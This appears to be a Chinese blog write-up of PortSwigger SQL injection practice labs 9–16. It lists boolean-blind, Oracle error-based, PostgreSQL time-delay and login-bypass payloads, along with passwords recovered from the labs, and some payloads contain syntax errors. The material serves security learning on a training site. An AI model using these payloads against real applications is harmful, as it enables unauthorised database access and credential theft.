portswigger靶场SQL注入实验(下)

实验9

在这里插入图片描述
在这里插入图片描述
点击了home之后页面给了回显,猜测后面进行盲注的时候要利用此回显来判断,打开bp吧
在这里插入图片描述
注入点在trackingid这,简单判断一下
在这里插入图片描述
在这里插入图片描述
存在注入,下面判断一下是否存在表users,表里是否存在名为administrator的用户以及密码password有多少字符
在这里插入图片描述
为真,存在users表,接着查用户
在这里插入图片描述
后面判断password的长度
在这里插入图片描述
大于1为真,扩大点看看
在这里插入图片描述
大于30无回显,长度应该是小于30的,具体多少跑一下payload吧
在这里插入图片描述
在这里插入图片描述
选择number范围1-30
在这里插入图片描述
到20,在确定了密码的长度之后最后做的事情就是跑出这个密码的内容
在这里插入图片描述
用substring()函数从1开始每次扩大1来跟后面的a-z,0-9做对比,找出每一位返回为真的值组合在一起就是密码
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
排出来就是密码了

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
y s l j q 8 w g 3 r q s 7 x d j 9 1 q t

ysljq8wg3rqs7xdj91qt拿去登录即可
在这里插入图片描述
在这里插入图片描述

实验10

在这里插入图片描述
有暗示看一眼
在这里插入图片描述
在这里插入图片描述
应该是这块内容
在这里插入图片描述
在这里插入图片描述
单引号语法错误,闭合正常,所以结合题目可以使用构造语法错误来进行攻击
暗示既然说了这里是oracle数据库,那我们根据oracle数据库的特性不妨验证一下

' || (select '') || '
' || (select '' from dual) || '

在这里插入图片描述
在这里插入图片描述
通过验证确定为oracle数据库,后面还像实验9那样判断表,用户名,密码字段数及具体内容

' || (select '' from users where rownum =1) || '
rownum=1 防止查询的时候返回多行

在这里插入图片描述
接下来回过头来看看刚刚备忘录上的条件错误语句

' || (select case when (1=1) then to_char(1/0) else '' end from dual) ||'
when的条件成立时,会执行then后的内容,若不成立,则返回else后的内容

在这里插入图片描述
执行成功1/0报错
下面验证是否存在目标用户

' || (select case when (1=1) then to_char(1/0) else '' from users where username='administrator') || '
有一点需要注意,SQL语句的先判断where后面的内容,也就是说如果此用户不存在或者1=1不成立的时候返回状态码都是200

在这里插入图片描述
返回错误,即存在该用户

' ||(select case when length(password)>1) then to_char(1/0) else '' from users where username='administrator' || '
' ||(select case when length(password)>2) then to_char(1/0) else '' from users where username='administrator' || '
....

判断密码位数,可以直接用payload跑,这里我猜几个实验都差不多应该都是20位
在这里插入图片描述

' || (select case when substr(password,1,1)='a' then to_char(1/0) else '' end from users where username='administrator') || '

跟上个实验一样拿payload直接跑
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
老样子排个序就好了

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
0 7 0 q 9 7 s 2 1 n z t o c 2 9 g c o g

070q97s21nztoc29gcog拿去登录即可
在这里插入图片描述

实验11

在这里插入图片描述
看眼暗示
在这里插入图片描述
查看清单
在这里插入图片描述
四个不同类型的数据库的延迟语句,我们只要确定了是哪种并且成功延迟,本实验就完成了
在这里插入图片描述
MySQL正常返回,下一个
在这里插入图片描述
白了
在这里插入图片描述
10秒成功延时
在这里插入图片描述

实验12

在这里插入图片描述
应该是在上个实验的基础上,查询信息,所以数据库类型应该没变
在这里插入图片描述
验证一下有条件延迟语句的作用

' || (select case when(1=1) then pg_sleep(10) else pg_sleep(-1) end) -- 

在这里插入图片描述
成功延时

' || (select case when(1=2) then pg_sleep(10) else pg_sleep(-1) end) -- 

在这里插入图片描述
正常显示
利用when里面的条件判断用户名

' || (select case when(username='administrator') then pg_sleep(10) else pg_sleep(-1) end from users) --

在这里插入图片描述
成功延迟即存在

' || (select case when(username='administrator' and length(password)>1) then pg_sleep(10) else pg_sleep(-1) end from users) --

在这里插入图片描述
盲猜还是20长度
唔~自己私底下偷偷验证一下就好了…

' || (select case when(username='administrator' and substring(password,1,1)='a') then pg_sleep(10) else pg_sleep(-1) end from users) --

直接payload跑
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

这个版本的burp我没找到调线程的位置,跑出来都是一样的看不出来时间长短,裂开
不过做法就是这样
在这里插入图片描述
缺个这玩意

实验13

在这里插入图片描述
这个我选择先放这,有点复杂,过段时间再来研究

实验14

同13一样,看着挺复杂结合了XXE,后面时间充足了会研究然后补更

实验15

在这里插入图片描述
按照要求带入‘ or 1=1 – 就行了
在这里插入图片描述

实验16

在这里插入图片描述
在这里插入图片描述
绕过登录就行

administrator'or 1=1 --
即可绕过

在这里插入图片描述

一整天人都麻了,后半部分实验做吐了快,暂时就这样了,溜了…

  • 4
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值